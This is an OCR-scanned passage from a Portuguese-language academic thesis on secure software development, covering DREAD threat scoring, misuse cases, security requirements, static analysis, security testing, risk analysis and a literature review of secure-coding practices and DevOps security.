RISCO = CRITICIDADE * PROBABILIDADE DE OCORRENCIA;

Outra maneira € classificando os riscos pelo método Dano Potencial, Reproduzibili-
dade, Explorabilidade, Usudrios afetados, Possibilidade de descoberta (DREAD).

1. Dano Potencial: extensdo do dano de 0 a 10.
2. Reproduzibilidade: medi¢ao da facilidade de um ataque funcionar.

3. Explorabilidade: medi¢ao dos esforcos exigidos para montar um ataque.
Se o valor for mais proximo de 0 € mais dificil de explorar a vulnerabi-
lidade, contudo se o valor for mais préximo de 10, a vulnerabilidade é

facilmente explorada.
4. Usudrios afetados: nimero de usudrios afetados pela vulnerabilidade.

5. Possibilidade de descoberta: medicao de 0 a 10 de descoberta.
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Ap6s isso, soma-se todos os termos do método DREAD e divide por 5. Depois disso,
classifica-se todas as ameacas em ordem decrescente de maior risco para o menor. A

Figura 2.19 mostra um exemplo de cdlculo com o método DREAD.

Ameaca n° 1: O usudrio mal-intencionado visualiza os dados confidencials sobre a
Solha de pagamentos on-line.

8 Dano potencial: ler os dados privados sobre a folha de pagamentos de uma
outra pessoa nao € nenhuma piada.

10 Reproduzibilidade: é 100 por cento reproduzivel.
7 Explorabilidade: deve estar na sub-rede ou comprometeu um roteador.
10 Usudrios afetados: todo mundo, incluindo Jim, o CEQ, € afetado por isso!

10  Possibilidade de ser descoberta: vamos simplesmente assumir que ela serd
descoberta!

RISCOugpry: (8+10+7+10+10)/5 =9

Figura 2.19 Exemplo de célculo de risco utilizando o método DREAD (MICHAEL HOWARD, 2005).

Por fim, apds a execucao das etapas anteriores resultard o seguinte quadro, (Figura

2.20).
Descri¢ao Usudrio mal-intencionado que visualiza dados confidenciais
da ameaca on-line sobre a folha de pagamentos
Alvo da ameaca Resposta da folha de pagamentos (5.0 — 1.0)
Categoria da ameaga  Revelagdo de informagdes
Risco Dano potencial: 8
Reproduzibilidade: 10
Explorabilidade: 7
Usudrios afetados: 10
Grau de descobrimento: 10
Total: 9
Comentdrios O ataque mais provavel ¢ a partir de um usudrio trapaceiro que utiliza um

analisador de protocolo, pois ¢ um ataque facil de realizar; o ataque ¢ pas-
sivo e barato em termos de tempo, esforgos e dinheiro.

A ameaca de swilches é importante porque muitas pessoas pensam que Te-
des baseadas em switch (redes comutadas) sdo seguras contra ataques ba-
seados em sniffing quando, na verdade, ndo sdo seguras. Se vocé acha que
sdo seguras, examine “Why your switched network isn't secure” no endere-
o hetp:/iwww.sans.org.

Figura 2.20 Exemplo de uma tabela de ameaga (MICHAEL HOWARD, 2005).

= Escolha como responder as ameacas: hd quatro op¢des de como responder as

ameagas.

1. Nao fazer nada: raramente € a solucdo correta porque o problema persistird

no software;

2. Alertar o usudrio: informar ao usudrio sobre o problema e permitir que ele
escolha um recurso como solu¢do ou atenuacao. Porém nao € o adequado
porque geralmente o usudrio ndo possui conhecimento para tomar uma

boa decisio.
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3. Remover o problema: remover o recurso do problema. Se ndo tiver tempo

e o risco for alto o desenvolvedor devera pensar nessa solucao.

4. Corrigir o problema: reparar o problema por meio de outras tecnolo-

gias. E a op¢ao mais aconselhdvel, porém a que exige mais esfor¢os dos

desenvolvedores e outros profissionais que fazem parte do projeto.

= Escolha técnicas para atenuar as ameacas: ¢ composto de duas etapas - determinar

quais técnicas utilizar e escolher as tecnologias adequadas. Uma técnica difere de

tecnologia, pois a primeira realizard uma avaliagdo de alto nivel sobre os tipos de

tecnologia que podem ser aplicados para atenuar as ameacgas. A seguir apresenta-

se na Figura 2.21 uma tabela com técnicas que podem ser utilizadas para garantir

seguranca.

Tipo de ameaca

Técnicas de atenuacao

Spogfing de identidade

Adulteracao de dados

Repuidio

Revelacdo de informagdes

Negagéo de servigo

Elevacdo de privilégio

Autenticagao adequada

Proteja dados secretos

Nao armazene segredos
Autorizagao apropriada

Hashes

Codigos de autenticacao de mensagem
Assinaturas digitais

Protocolos resistentes a adulteracao
Assinaturas digitais

Registros de data/hora

Trilhas de auditoria

Autorizacao

Protocolos de privacidade aprimorados
Criptografia

Proteja segredos

Nao armazene scgredos
Autenticagao adequada
Autorizacdo apropriada

Filtragem

Controle de taxa de transmissao
Qualidade de servigo

Execute com o menor privilégio

Figura 2.21 Tabela de técnicas de seguranca (MICHAEL HOWARD, 2005).

2.5.2 Casos de abuso e de mau uso

Na documentacao tradicional de software que incluem os requisitos funcionais e os casos

de uso, geralmente trazem sob circunstancias normais o que o software pretende fazer. Contudo,

para criar um software seguro e confidvel, deve-se antecipar o comportamento anormal a fim de

ajudar os desenvolvedores a verem da mesma forma que os atacantes e demonstrar ameacas €
vulnerabilidades durante a andlise de requisitos (BRAGA, 2007).
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Diante disso, os casos de mau uso contemplam eventos negativos ou inesperados do
software documentando os usos incorretos sem inten¢cdo do usudrio ou proposital, visando
documentar como o software deve reagir a casos de mau uso. Geralmente os projetistas e
desenvolvedores estdo em Otimas condi¢des para prever ataques, pois conhecem o sistema
desenvolvido melhor que o atacante e juntamente com os profissionais de seguranca podem
fazem uma anélise das vulnerabilidades.

Para os autores HOPE; MCGRAW; ANTON (2004) um método rapido, pratico e simples
para formulacao de casos de mau uso € o brainstorming no qual um especialista em seguranca
faz perguntas aos desenvolvedores para ajudar a identificar fraquezas, considerando as interfaces
do usudrio, restricdes e agOes ilegitimas que podem caracterizar uma invasdao. Também o
conhecimento nos padrdes de ataques sdo especialmente tteis na diferenciacdo de casos vélidos

de uso e mau uso.

2.5.3 Requisitos de seguranca

Os requisitos de segurancga trata-se de um documento que deve verificar a confidenciali-
dade, integridade e disponibilidade, explicado na Secao 2.1, detalhando em um documento os
parametros de seguranca do software. Neste documento devera haver os objetivos da seguranca,
as fraquezas a serem priorizadas e os critérios de validacio (BRAGA, 2007).

Os requisitos de seguranga sdo formulados apds a modelagem de ameagas nos quais sdo
definidos os tipos de ameagas e os alvos, e também depois dos casos de mau uso que apontam
brechas de seguranca que podem ser mal usadas.

FIRESMITH (2003) lista alguns dos tipos de requisitos de seguranca: requisitos de
identificacdo, requisitos de autenticacdo, requisitos de autorizacdo, requisitos de imunidade,

entre outros.

= Requisitos de identifica¢ao

De acordo com FIRESMITH (2003) um requisito de identificacao é:

"Um requisito de identificacdo € qualquer requisito de seguranca que
especifique a extensao em qualquer empresa, aplicativo ou componente.
Ele deve identificar seus aspectos externos (por exemplo, atores humanos e
aplicativos externos) antes de interagir com eles. Por exemplo: o aplicativo
deve identificar todos os aplicativos clientes antes de permitir que eles

passem a usar seus recursos ".

Esse requisito € insuficiente por si s6 e deve trabalhar com outros requisitos de auto-
rizacdo e autenticagdo. Eles devem ser consistentes com os requisitos de privacidade.
Ele pode ser quantificado especificando o minimo de tempo que uma identificacdo de

um usuario deve ocorrer.
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» Requisitos de imunidade:

E qualquer requisito de seguranga que especifique até que ponto uma aplicacdo ou
componente deve se proteger de ataques ou programas maliciosos. O objetivo € evitar
a acdo de malwares que podem danificar o sistema. Por exemplo: o aplicativo deve
se proteger de infec¢des, malwares e outros programas prejudiciais. Além disso, os
requisitos de imunidade ndo devem ser especificados com base nos mecanismos de
seguranca, como antivirus (FIRESMITH, 2003).

2.5.4 Analise estatica de programas

De acordo com o autor BRAGA (2007): "A anélise estdtica de programas consiste
na avaliacdo do c6digo fonte de um programa de computador a fim de identificar padrdes de
programacdo insegura, sem a necessidade de executar o programa". Juntamente com a anélise de
riscos a andlise do cédigo fonte ocupa uma posi¢ao importante na lista de praticas recomendadas
de seguranca de software. Essa boa pratica permite identificar vulnerabilidades antes de colocar
o software em producio (CHESS; MCGRAW, 2004).

A auditoria manual do c6digo fonte consome mais tempo e exige um conhecimento
aprimorado de seguranca por parte do profissional, enquanto que a utiliza¢do de ferramentas
de andlise estdtica consegue analisar o c6digo de maneira mais rapida e frequente, organizando
os resultados em dreas de seguranca de uma maneira que nao exige grande conhecimento do
operador da ferramenta (CHESS; MCGRAW, 2004). Além disso, essas ferramentas podem
analisar espacgos de dificeis acesso onde geralmente surgem as vulnerabilidades e pode ser
executada antes que o programa seja concluido, ja que pode ser analisado partes do cédigo.

Porém, as ferramentas de analise estdtica possuem seus defeitos. Essas ferramentas
procuram um conjunto fixo de padrdes ou regras, mas se essas regras nao forem especificadas
havera vulnerabilidades que nunca serdo encontradas. Apesar das ferramentas de andlise estdtica
desempenhar bem seu papel ainda precisa de um profissional de seguranga que tome as decisodes
corretas e priorize as vulnerabilidades, pois as ferramentas ndo poderao fazer isso. Também,
de acordo com os autores CHESS; MCGRAW (2004), uma ferramenta pode produzir falsos
positivos (erros que na verdade ndo existem) e falsos negativos (erros que a ferramenta ndo
informa), sendo necessario em alguns momentos a verificagdo manual por parte do analista
desses erros. Logo, a andlise estdtica € muito importante para encontrar vulnerabilidades, porém
possui limitacdes. Ela deve ser aplicada regularmente no ciclo de desenvolvimento do software,

conforme a Figura 2.14.

2.5.5 Testes de seguranca

Os testes funcionais realizados antes da conclusdo do software verificam a funcionalidade

de um sistema, porém isso nio € o suficiente para encontrar falhas de seguranca. Assim, é
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necessdrio a juncao dos testes funcionais com testes de penetracdo, que envolve simular um
ataque de uma fonte maliciosa (THOMPSON, 2005).

Os testes de intrus@o sdo necessarios porque embora os recursos de seguranga desempe-
nham um papel importante por si s6 eles ndo garantem seguranga. Assim, € necessario pensar
em seguranc¢a desde a andlise de requisitos. Além disso, muitas vulnerabilidades sdo encontradas
no cédigo e mesmo com a utiliza¢do de recursos de seguranca nao € possivel resolver essas
pequenas falhas, que deveriam ter sido corrigidas na etapa de testes de seguranca (POTTER;
MCGRAW, 2004).

No processo de testes de seguranca € necessdrio a criagdo de um modelo de ameacga que
foi explanado acima. Também € necessario a constru¢cdao de um plano de testes, execucdo de
casos de testes e um relatério (THOMPSON, 2005).

= Plano de testes: é um roteiro de como os testes serdo conduzidos e quais componentes
serdo testados. O plano deve abordar: logistica, entregas, cronogramas, casos €
ferramentas de testes. Deve incluir questdes logisticas porque permitird que os
administradores do sistema diferencie entre atividades de testes e possiveis ataques.
Também deve incluir cronogramas, relatdrios finais e relatérios de problemas, pois

isso ajuda a integrar os resultados no projeto.

No plano de testes deve ser definidos quem executard os testes € como sera execu-
tado. Quanto a execugdo € melhor que fique a cargo dos profissionais de seguranga
(POTTER; MCGRAW, 2004).

Quanto ao modo como serd realizado, POTTER; MCGRAW (2004) diz que ha dois
modos: o teste de caixa - branca que consiste em analisar o c6digo fonte em busca de
vulnerabilidades causadas por erros de programagao, para isso podem ser utilizadas
ferramentas de andlise estdtica. Teste de caixa-preta que envolve a andlise de um

programa em execuc¢do sem andlise de codigo fonte.

» Execucdo de casos de testes: de acordo com THOMPSON (2005) ha 3 grupos de
problemas que merecem a realizacdo de testes para encontrar vulnerabilidades, sao

eles:

» Teste de Dependéncia: a maioria dos aplicativos dependem de recursos ex-
ternos para se comportarem com seguranca. Os testes neste local permitem

identificar insegurancgas em bibliotecas, registros e sistema de arquivos;

» Teste da Interface do usudrio: os testes nesta drea abrangem técnicas de
injecdo de comandos, estouro de buffer, entre outros. Tendo por objetivo

verificar as vulnerabilidades na interface.

» Teste de Projeto: geralmente os desenvolvedores ignoram a escolha de

design e forma, porém isso afeta a seguranca do sistema. Em vista disso, a
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realizacdo de testes nesta drea descobre erros de design, como portas ndo

seguras e contas padrao.

= Relatério do problema : sdo os resultados do teste. Deve conter pelo menos gravidade,

etapas de reproducio e cendrios de exploragao.

Gravidade: é baseada no resultado potencial da falha. E importante uma classificagio

exata da gravidade porque ela afeta na tomada de decisdes quanto ao reparo de erros;

Etapas de reproducao: quanto a erros de seguranca o relatorio deve listar o passo a

passo que outro testador usou para reproduzir a falha;

Cenaérios de exploracdo: trata-se de uma sequéncia especifica de como um invasor
pode tirar proveito de uma falha de seguranca e suas consequéncias. Esta drea ajuda

na tomada de decisdes ja que descreve os impactos das falhas.

2.5.6 Analise de riscos

A andlise de risco é uma ferramenta em nivel de negdcio que auxilia a tomada de
decisdes. Seu objetivo € reunir dados para fazer um julgamento baseado nos conhecimentos de:
vulnerabilidade, ameacas, impactos e probabilidades (VERDON; MCGRAW, 2004).

Existem diversas metodologias para realizar a andlise de risco. Entretanto, estas possuem

conceitos comuns que as estruturam, sao eles:

= O ativo - sdo dados ou componentes de um sistema ou o proprio sistema que tem

como foco ser protegido;

= O risco - € a possibilidade de que ocorra um evento que gere fatores negativos. Pode
acontecer por diversos fatores, como: vulnerabilidade do ativo, motivacdo do atacante,

recursos do atacantes, entre outros;

= Vulnerabilidade - sdo fraquezas e falhas que podem existir em alguma parte do
sistema, design, implementacdo ou seguranca. Se tratando de software podem haver
dois tipos: falhas (sdo problemas no nivel de design) e bugs (sao problemas no nivel

de implementag¢do);

» Contramedidas - medidas que diminuem as vulnerabilidades e riscos, tais como:
controles gerenciais, operacionais e técnicos que vao proteger a confidencialidade, a

disponibilidade e a integridade do ativo;

= Impacto - serd a quantificacdo do impacto causado na organizacao, que pode ser mo-

netério ou na reputacdo. Esses dados possibilitard a diminui¢do das vulnerabilidades;

= Probabilidade - € a possibilidade de um evento ocorrer. Normalmente é usado de

forma percentual para calcular os riscos.
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Deve-se reunir o mdximo de informagdes sobre o foco da andlise, no caso, do ativo que
se pretende proteger. Pode ser feito por ler e compreender as especificacdes, por analisar a
arquitetura, por debater com o grupo ou equipe sobre detalhes, executando o software e estudando
o codigo. Assim, € essencial discutir sobre questdes de segurancga. Para isso, ¢ importante debater
sobre os produtos ou servicos oferecidos, sobre as vulnerabilidades, mapeacao de exploracoes,
discussdes sobre possiveis correcdes e compreensdo de controles de seguranca planejados.

Necessita-se também determinar a probabilidade de comprometimento do ativo e isso
pode ser feito por mapear cendrios de ataque para exploracdo de vulnerabilidades e controles de
equilibrio para combater as ameacas. Em sequéncia, é necessario analisar o impacto, verificar
os ativos, as metas de negocio e considerar fatores de seguranca. Portanto, a anélise de risco é
um parametro eficaz a ser aplicado, pois identifica vulnerabilidades e ameacas possibilitando as

precaugdes e a correcdes de ambas protegendo os ativos e evitando custos.
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Revisao de literatura e Trabalhos Relacionados

A seguir sdo apresentadas pesquisas relevantes que relacionam-se com o objeto de estudo.
A revisdo de literatura estd dividida em se¢des, tais como: boas praticas no desenvolvimento
de softwares seguros, anélise do sistema de orientacao atual, seguranga na aplicacdo do método
DevOPs e testes de intrusdo e sua eficicia na deteccao de vulnerabilidades nas quais cada secao

encontra-se dividida em subsecdes com seus artigos relacionados aos tépicos.

3.1 Boas praticas no desenvolvimento de softwares seguros

De acordo com MCGRAW (2002), o software tornou-se essencial para nossas vidas
didrias, contudo permanece dificil desenvolver um software seguro e confidvel. Em vista disso, o
autor defende que a aplicacdo de boas préticas de seguranca de software pode ajudar a mitigar
vulnerabilidades.

Com o intuito de conhecer as boas praticas desenvolvidas ao longo dos anos, sdo apre-

sentados artigos relatando a aplicagdo dessa abordagem.

3.1.1 Knowledge for software security:

Publicado em 2005, os autores discorreram sobre os tipos de conhecimento de segurancga
que podem fornecer uma base sélida para boas praticas de seguranca de software. A proposta € a
aplicag@o de conhecimentos de seguranga durante o desenvolvimento do ciclo de vida do software
através do uso de boas praticas. Também, os autores separam as dreas de conhecimento em sete
catdlogos (principios, diretrizes, regras, padrdes de ataque, riscos histdricos, vulnerabilidades e
exploit) e organizam essas dreas em trés categorias de conhecimento (prescritivo, diagndstico e
histérico). Na Figura 2.14 é apresentado o momento no qual esses sete catdlogos podem ser
aplicados no desenvolvimento do software.

A categoria conhecimento prescritivo incluem trés catdlogos de conhecimento: principios,
diretrizes e regras. Sobretudo, essa categoria trata sobre o que fazer e o que evitar ao construir
um software. A segunda categoria que aborda sobre conhecimento de diagndstico inclui trés
catdlogos de conhecimento: ataques padrdes, exploracdes e vulnerabilidades. Esta categoria

auxilia os profissionais a reconhecer e lidar com ataques de seguranca. Por fim, a ultima
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categoria que trata-se sobre conhecimento histérico busca trazer uma descri¢do detalhada sobre
os problemas de seguranca encontrado nos softwares, conforme a Figura 3.1 (BARNUM,;
MCGRAW, 2005).
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Figura 3.1 Objetos de conhecimento de seguranga de software e uma arquitetura inter-relacionada basica
BARNUM; MCGRAW (2005).

Ao final do artigo, os autores concluem que a definicao de principios no escopo do projeto
agregam valor as atividades de ciclo de vida do software incluindo a definicdo de requisitos de
segurancga, andlise de riscos e revisao de projeto. Enquanto que a definicdo de regras proposta
pelos autores sdo aplicdveis durante a revisao de codigo fonte. Esses conjuntos de catdlogos
de conhecimento de segurancga de software formam uma base para integrar conhecimento de
seguranca no ciclo de vida do software (BARNUM; MCGRAW, 2005).

3.1.2 Software Security Checklist for the Software Life Cycle:

No seu trabalho GILLIAM et al. (2003) dissertam sobre a integracdo da seguranca
como abordagem formal no ciclo de vida do software no qual inclui uma lista de verifica¢do de
seguranca de software e ferramentas de avaliagdo no processo de desenvolvimento. A ferramenta

proposta no trabalho é a Software Security Assessment Instrument (SSAI) que possui 5 focos:

1. Software Security Checklist (SSC);

2. Vulnerability Matrix (Vmatrix): é uma matriz de vulnerabilidades que categoriza

vulnerabilidades e exposi¢des;
3. Flexible Modeling Framework (FMF): para verificagdo dos requisitos;

4. Property Based Tester (PBT): para testar vulnerabilidades;
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5. Security Assessment Tools (SATs): € uma colecao de ferramentas de avaliacdo de
seguranga com uma descri¢do e explicagdo de seu uso para avaliar a seguranga do

software.

Porém, apesar da relevancia dessas ferramentas, este trabalho tem por foco no Software
Security Checklist (SSC). De acordo com GILLIAM et al. (2003), o SSC € um instrumento para
guiar organizac¢des na integracao de seguranca no ciclo de vida do software. Esta ferramenta
analisa desde o levantamento de requisitos para testes e integracao do sistema a manutengdo. Ela
possui duas fases: a primeira € uma lista de verificacdo de seguranca para o ciclo de vida do
software e a segunda € uma lista de verificacdo para a liberacdo externa do produto.

Na primeira etapa é necessdrio executar uma andlise de riscos para identificar problemas
e definir os requisitos de seguranga. Apds isso, utiliza-se o SSC para cada fase do ciclo de vida
do software. Na Figura 3.2, os autores listam algumas dreas criticas que podem ser usadas para
gerar um SSC.

1 Introduce a walkthrough, security audit review or a formal security review in every phase of the software life
cycle development.
2 | Establish security metrics during the software life cycle and a trace matrix for security requirements.
3 | Determine stakeholders, and elicit and specify associated security requirements for each stakeholder
4 | Determine context and potential usage of software product along with the operating environment and specify
requisite security requirements.
5 | Make available to programmers, developers, reviewers and test teams the vulnerabilities and potential exposures
associated with programming languages and operating systems before the architectural design phase.
6 | Set up security parameters for access to services such as fip service where anonymous fip is allowed but with
write only and no read or list to the incoming directory and read only for outgoing directory
7 | Check for sources of software security risks such as inconsistencies in requirements and in design, reusable
| programs and other shrink-wrap software. Use of requirements tools, modeling tools, etc. can aid in this area.
8 | Avoid the use of unsafe routines such as sprintfi), strepy/eat(), geis and fzets in coding.
|9 | Check the security of any middleware in the program.
10 | Check for architectural-specific vulnerabilities and how data flows through the code.
11 | Check for implementation-specific vulnerabilities such as Race Conditions, randomness problems and buffer
averflows.
12 | DO NOT allow programmer backdoors or unauthorized access paths that bypass security mechanisms.
13 | Avoid storing secrets like passwords in the code or use weak encryption schemes
14 | Identify all points in the source code where the program takes input from users.
15 | Identify all points in the source code where the program takes input from another program or un-trusted source.
16 | Investigate all sources from which input can enter the program such as GUI, network reads, etc.
17 | Check AFI (Application Program Interfaces) calls to security modules or interfaces.
18 | Investigate secure connections. Verify that they actually are secure and connect as indicated to the systems to
which they are intended to connect.
19 | Investigate software built-in extensibility features.
20 | Review software complexity and look for altemnatives to reduce the complexity.
21 | Investigate the security of the data when passed from application servers to databases.
22 | Avoid default or other improper configurations that may open the door to attackers.
23 | Default to “highest security” needed, and require validation and approval for deviations.
24 | Establish tools to be used for various stages of the life cycle that will be used for assessing security.
25 | Perform security testing for unit and system integration. B
26 | Potentially, establish a security risk rating criteria and document the rating of the software product within the
organization. Using a risk assessment tool can benefit this area,

Figura 3.2 Itens para consideracdo e inclusdao no SSC (GILLIAM et al., 2001).

Na segunda etapa se concentra na libera¢do do software. Antes da liberagao um processo
de avaliacdo deve ser realizado. Primeiro o desenvolvedor cria um produto e envia para o
analista de liberacdo. O analista de liberacao analisa o produto desenvolvido, caso ndo atenda

aos requisitos € enviado de volta ao desenvolvedor para corre¢des. Ap@s 1sso, 0 analista passa
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o produto a autoridade de liberacdo que realiza a lista de verificacdao do software, conforme a
Figura 3.3. Se for aprovado passa a autoridade de renincia que acompanhado do analista de
seguranga analisam qualquer informacao sensivel que esteja no produto. Por fim, o produto esta
finalizado para a liberagdo. A Figura 3.3 apresenta um exemplo de SSC para a liberacdo do

produto.

1.0 | Does the software include IP addresses and subnet ranges?
b 1.1 If yes, are these IP addresses sensitive?
| i 1.2 Can these addresses be used to gain information that may pose a risk to the organization?
{ 2.0 | Does the software/program include Host names?
| 2.1 If yes, are these host names sensitive?
| 2.2 Does the release of these host names pose a risk to the organization?
3.0 | Are there any settings that can be exploited?
3.1 If yes, can any of these settings be modified or deleted?
3.2 If settings can not be modified or deleted, would they pose a risk to the organization?
3.3 If settings can be modified or deleted, would they pose a risk to the organization?
4.0 | 1s there any non-sensitive information in the software that can be used to probe secrets?
4,1 If yes, can non-sensitive information be manipulated to expose sensitive information?
| 4.2 Can non-sensitive data be altered and modified so as to pose risk?

5.0 | Is there any Material that might expose company information such as Customer lists?
5.1 If yes, are Customers lists protected under a privacy policy?
5.2 Does the release of Customers lists pose a risk?
5.3 Does the release of Customers lists do harm to the customers?
6.0 | Is any of the data restricted?
6.1 If yes, is the data controlled by security mechanisms such as RBAC?
6.2 If yes, are their security restrictions on the transfer of restricted data?
6.3 Is the restricted data transmitted over open networks?

6.3.1 Is the restricted data encrypted before transmission?

7.0

Figura 3.3 Exemplo de verificacdo de seguranca para liberacdo (GILLIAM et al., 2001).

3.1.3 Building Secure Software: Better than Protecting Bad Software

MCGRAW (2002), apresenta duas visdes contrarias que existem na literatura. O pesqui-
sador Greg Hoglund discorreu sobre a superioridade das ferramentas de seguranga de aplicativos
em contrapartida a aplicagdo de boas praticas no desenvolvimento, pois, de acordo com o autor,
a conscientizacdo dos desenvolvedores de softwares ndo garante a codificacao correta. Outros
problemas sdo os testes de garantia de qualidade que sdo inadequados e as habilidades dos
engenheiros acompanhado de suas ferramentas que possuem capacidades limitadas.

Entretanto, o autor Gray McGraw apresenta sua alegagdo trazendo a atenc¢ao dos leitores
a triade dos problemas, nas quais sdo: O software moderno opera em um ambiente em rede
lado a lado; sistemas extensiveis, como mdquinas virtuais Java e operacdes comuns da .Net
tem se tornado comum e introduzido riscos de c6digo mével e a complexidade do sistema esté
aumentando. Diante disso, € notdrio que o maior problema em seguranca de computadores € o
software. O autor também salienta que os profissionais de tecnologia da informac¢do ndao devem
depender de produtos de mitigacdo, como exemplo o firewall, pois, essas ferramentas se baseiam
principalmente em encontrar e corrigir problemas de seguranca apds serem explorados e ndao
tratam do problema raiz que esta no cédigo.

O autor conclui que ambos os campos sdo relevantes para a ideia de impedir a exploracio
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de software. A seguranca do software defende contra a exploragdo, construindo um software
seguro, enquanto que a seguranga de aplicagdes ! defende contra ataques aplicando uma politica
razodvel. Porém, ele ressalta que na luta por softwares melhores € melhor tratar de softwares mal

projetados e implementados.

3.2 Andlise do sistema de orientacio atual

A seguranga tem ganhado importancia no contexto atual. Contudo, hé a prevaléncia de
bugs nos sistemas ocasionados por mds praticas de programacao. Isso sugere que apesar da vasta
quantidade de informacgdes na internet este método e outros ndo tem funcionado muito bem.

Diante disso, sdo apresentados artigos nos quais os autores explanam sobre esse assunto.

3.2.1 Developers Need Support, Too: A Survey of Security Advice for Software Developers

ACAR et al. (2017) abordam sobre o método utilizado por muitos desenvolvedores:
pesquisa na web a fim de encontrar solugdes para problemas de seguranca. O trabalho possui
uma metodologia exploratoria e utiliza de pesquisas bibliogréficas em diversas paginas de internet.
Também apresenta que pesquisas recentes identificaram problemas de seguranca decorrentes de
fontes que ajudam com problemas especificos de programacao segura. Além disso, os autores
demonstram que a orientacao pela web ndo estd funcionando bem o suficiente, seja por ndo esta
disponivel, ou por nao estd alcancando os desenvolvedores que precisam. Logo, o artigo da os
primeiros passos para entender e melhorar o sistema de orientagdo identificando e analisando 19
recursos de aconselhamento geral.

Os autores apresentam orientacoes gerais de seguranca disponiveis na web e destacam
a necessidade de maior atencdo nas seguintes dreas: ferramentas de andlise de programas,
registro/auditoria € minimizag¢do de dados. Para remediar isso, seria necessario uma equipe
de especialistas técnicos para gerar exercicios e tutoriais. Outra conclusdo € que documentos
“oficiais” podem ndo fornecer necessariamente o conteido e o formato que os desenvolvedores
desejam ou precisam na pratica. Assim, os resultados sugerem dois caminhos para a compreensao
e melhoria de orientacdo a seguranga. Primeiro devem examinar quais das dreas que foram
identificadas no trabalho - tanto no contetido quanto no formato — representam omissdes graves e
preenchidas por outros recursos fora do escopo deste artigo. Segundo, devem continuar avaliando

empiricamente a orientacao existente e entender quais abordagens provam ser eficientes.

3.2.2 Systematic review of web application security development model:

SHUAIBU et al. (2015) trata sobre a investigacao de alguns modelos de desenvolvimento
seguro e as ferramentas utilizadas na detec¢@o de vulnerabilidades. Apds diversas pesquisas sobre

!'Seguranca de aplicacdes de acordo com o autor MCGRAW (2002) trata-se da seguranca provida por algumas
ferramentas, como por exemplo: o firewall, proxy, antivirus, entre outros.
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publicacdes em algumas fontes cientificas, como: ACM Digital Library, the IEEE Computer
Society e Google-Scholar, ndo foram encontrados padroes que fossem usados para o desenvolvi-
mento de aplicacdes web. Entretanto, as técnicas de desenvolvimento 4gil tem ganhado cada
vez mais valor, certamente por causa da integracio entre as duas dreas que avaliam as novas e

diversas ameacgas.

Os invasores estdao cada vez mais buscando as aplicagdes web como alvos, pois em um
ambiente de rede j4 existem ferramentas como Sistema de Detecgdo de Intrusdo (IDS) e Sistema
de Prevengdo de Intrusos (IPS), explicado nas Secdes 2.3.4 e 2.3.5, que podem identificar e
bloquear as possiveis tentativas de ataque. Porém, caso o invasor possua habilidades, ele pode

fazer o BYPASS dessas ferramentas.

A Figura 3.4 destaca os tipos de vunerabilidades mais exploradas de acordo com Open
Web Application Security Project ( OWASP ), com conceitos técnicos em segurancga da informacao

que sdo divididos em categorias:

CDMs detect which security vulnerability from OWASP Top 107

Others: 54% ~.

o~ Injection: 68%

Insufficiency: 0% \_
Insecure C: S%M___,
Invalidate: 0% ——=—

Failure to: 2%
Security M: 2% V.
Cross Site: 12% ( .
Insecure D: 2% /

Broken Aut: Il]%"f

\

Cross Site: 49%

Figura 3.4 Classificagc@o do tipo de pesquisa dos estudos selecionados ao estdgio no desenvolvimento de
software (SALAS; MARTINS, 2014).

Além disso, é preciso que as vulnerabilidades possam ser identificadas no processo de
desenvolvimento do sistema, ou seja, antes mesmo de comecgar a codificar, visto que a exploracao
de falha no processo de desenvolvimento pode abrir uma ampla variedade de ataques na web.
Foram encontradas vérias técnicas e estudos sobre a prote¢ao da aplicacdo, porém, sdo poucas as
pesquisas e técnicas designadas para o planejamento e codificagdo da aplicacao para que esses

mecanismos de defesa ndo sejam algo tdo crucial para a segurancga da aplicagdo.
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3.2.3 Nivel de conhecimento de desenvolvedores sobre seguranca em aplicacoes web: pes-

quisa e analise

COSTA et al. (2018) ressaltam a importancia da seguranca da informacgdo para os
desenvolvedores e como ela pode ser util em varios momentos na construcao da aplicacao.
Alguns dos principais alvos dos invasores sdo atualmente as lojas online, sites de noticias e
institui¢des bancarias.

Além disso, foram feitas pesquisas com ferramentas de perguntas online. Nas perguntas
0s autores questionavam sobre a formag¢do académica, conhecimentos técnicos, desafios para
identificar c6digo inseguro, entre outros. Ao final da pesquisa foi apresentado um grafico
contendo os dados e avaliado de acordo com as habilidades de identificacdao e correcao das
vulnerabilidades. Nesta pesquisa 73% eram de nivel profissional de pleno e sénior. De todos os
entrevistados, 92% disseram que nao tinha conhecimento necessario de seguranca e prevencao.

Na Figura 3.5 é mostrado os motivos pelos quais ndo € implementado a seguranca no sistema:

| Falta de conhecimento

Prazos apertados

@ Faltadeconhecimento @@ Prazos apertados Baixa prioridade

@ Falta derecursos dalinguagem @@ Falta de documentagao
@® Contra os padroes da empresa

Figura 3.5 Principais motivos para a ndo implementacgao de seguranga (COSTA et al., 2018).

3.3 Seguranca na aplicacao do método DevOPs

De acordo com MICROSOFT (2019) Developement and Operations (DevOPs) é : “Um
composto de Dev (desenvolvimento) e Ops (operagdes), 0 DevOPs € a unido de pessoas, processos
e tecnologias para fornecer continuamente valor aos clientes.” Logo, o método DevOPs procura
unir pessoas e processos para gerar softwares de qualidade. Este método permite a ripida
alteracdo do software, porém estas alteragdes tém mais probabilidade de conter vulnerabilidades
por falta de andlise adequada (RAHMAN; WILLIAMS, 2016).

RAHMAN; WILLIAMS (2016) discorrem sobre a integracdo de seguranca no método
DevOPs. A metodologia aplicada foi andlise de artefatos da internet e entrevista de representantes

de nove organizagdes que estdo usando DevOPs para explorar sistematicamente experiéncias na
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utilizacdo de praticas de seguranga. No trabalho foram apresentadas uma lista de atividades de
DevOPs que parecem ter um efeito positivo e impacto negativo na seguranca de um sistema.

A Figura 3.6 apresenta cinco atividades DevOPs que impactam positivamente na segu-
ranca e a coluna referéncia apresenta a contagem de artefatos da internet nos quais os autores se

referiram.

Table 1: How Devilps positively impacts software security?

Activity References

-

Use of automated monitoring 13

Use of automated pipeline to deploy software | 8

Lad

Automatic deployment of software

L

Automatic testing of software changes

Lad

Delivering software in small increments

Figura 3.6 Como o DevOPs afeta positivamente a seguranca de software (RAHMAN; WILLIAMS,
2016).

A Figura 3.7 apresenta trés atividades que afetaram negativamente na seguranga do
sistema e a coluna referéncia com a contagem de artefatos da internet que se referem as atividades
correspondentes.

Table 2: Why Devidps can be detrimental to software secarity?

Activity References

Use of immature automated deployment tools | 2

Use of mappropriate software meirics 2

Inadequate momtoring of collaboration 1

Figura 3.7 Como o DevOPs afeta negativamente a seguranca de software (RAHMAN; WILLIAMS,
2016).

As outras listas s@o: uma lista de praticas de seguranca e uma anélise de como essas
